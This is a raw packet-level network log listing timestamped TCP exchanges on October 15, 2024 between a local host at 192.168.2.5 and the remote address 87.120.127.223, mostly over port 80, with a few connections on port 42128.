Oct 15, 2024 19:22:21.244245052 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.244277000 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244294882 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244304895 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.244421005 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244441032 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244452000 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.244497061 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.244652033 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244710922 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244729042 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244817019 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244837046 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244865894 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.244952917 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244966984 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.245099068 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.245099068 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.245116949 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.245143890 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.247917891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.247967958 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.247984886 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.248071909 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.248071909 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.284574986 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.284915924 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.288151026 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.360685110 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.360718966 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.360738993 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.360764027 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.360795975 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.360872030 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.360886097 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.360908985 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.361104965 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.365813017 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.365844011 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.365906000 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366008997 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366028070 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366044044 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366054058 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366087914 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366133928 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366214037 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366247892 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366309881 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366328955 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366353989 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366359949 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366544008 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366563082 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366580009 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366589069 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366619110 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366714001 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366733074 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366758108 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.366771936 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366790056 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.366986990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367058992 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367072105 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367110014 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367129087 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367139101 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.367221117 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367249966 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.367316961 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367332935 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367362976 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.367432117 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367450953 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367477894 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367477894 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.367659092 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367705107 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.367712975 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367727041 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.367770910 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.367804050 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.368139029 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.370250940 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.370337963 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.370354891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.372131109 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.404819965 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.404856920 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.404969931 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.448159933 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.484800100 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.484966993 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.484978914 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.485057116 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.485069990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.485080004 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.485095978 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.485121965 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.485132933 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.490614891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.490636110 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.490679979 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.490699053 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.490747929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.490757942 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.490801096 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.490875006 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.490884066 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.490920067 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.491245985 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491285086 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.491303921 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491317987 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491362095 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.491450071 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491460085 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491477966 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491494894 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.491664886 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491739035 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491749048 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491765976 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491772890 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.491801977 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.491825104 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491835117 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491858959 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.491972923 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.491983891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492000103 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492011070 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492019892 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.492038012 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.492147923 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492158890 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492176056 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492192984 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.492217064 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.492491961 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492537975 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492546082 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492578983 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.492656946 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492724895 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492736101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492758989 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.492769957 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.492820978 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.492830992 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.494438887 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.495500088 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.495589972 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.495599031 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.495639086 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.530541897 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.530642986 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.530710936 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.609432936 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.609460115 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.609468937 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.609527111 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.609528065 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.609606028 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.609616995 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.609643936 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.609654903 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.615169048 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615200996 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615209103 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615266085 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.615336895 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615346909 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615365028 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615379095 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.615380049 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615410089 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.615422964 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615885973 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.615910053 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615962029 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.615972042 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616004944 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.616055965 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616065025 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616084099 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616092920 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.616100073 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616128922 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.616143942 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616206884 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616215944 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616238117 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.616249084 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.616358042 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616595984 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616643906 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616653919 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.616672039 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.616693974 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.617326021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617347002 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617362022 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617388964 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617393017 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.617405891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617420912 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617435932 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617438078 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.617451906 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617460966 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.617470026 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617485046 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617496014 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.617501974 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617516994 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617527008 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.617535114 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.617572069 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.621057034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.621088028 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.621104002 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.621151924 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.621185064 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.663814068 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.667244911 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.667304039 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.668178082 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.668549061 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.670247078 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.671189070 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.673506021 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.673659086 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.678124905 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.683226109 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.740451097 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.740472078 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.740489006 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.740556002 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.740761995 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.740781069 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.740840912 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.746391058 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.746423960 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.746437073 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.746440887 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.746483088 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.746536016 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.746551037 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.746567011 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.746582985 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.746596098 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.746630907 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.746649981 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748203993 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748233080 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748248100 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748261929 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.748294115 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.748410940 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748429060 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748445034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748455048 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748491049 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.748517036 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.748548031 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748564005 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748579025 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748606920 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.748627901 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748645067 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748660088 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748676062 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748687983 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.748713017 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.748930931 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748946905 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748961926 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748977900 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.748986959 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.749011040 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.749185085 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749202013 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749217033 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749232054 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749233961 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.749248981 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749258041 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.749289989 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.749416113 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749432087 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749448061 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.749492884 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.753828049 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.753855944 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.753871918 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.753885031 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.753943920 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.787672043 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.787703991 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.787730932 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.787771940 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.867017984 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.870951891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.870984077 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.870999098 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.871026993 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.871066093 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.871083021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.871123075 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876219988 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876251936 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876269102 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876290083 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876322985 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876363993 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876379967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876395941 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876426935 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876543045 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876559019 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876574039 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876590967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876602888 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876606941 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876617908 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876624107 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876652002 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876796007 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876811981 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876854897 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.876924992 CEST	80	49721	87.120.127.223	192.168.2.5
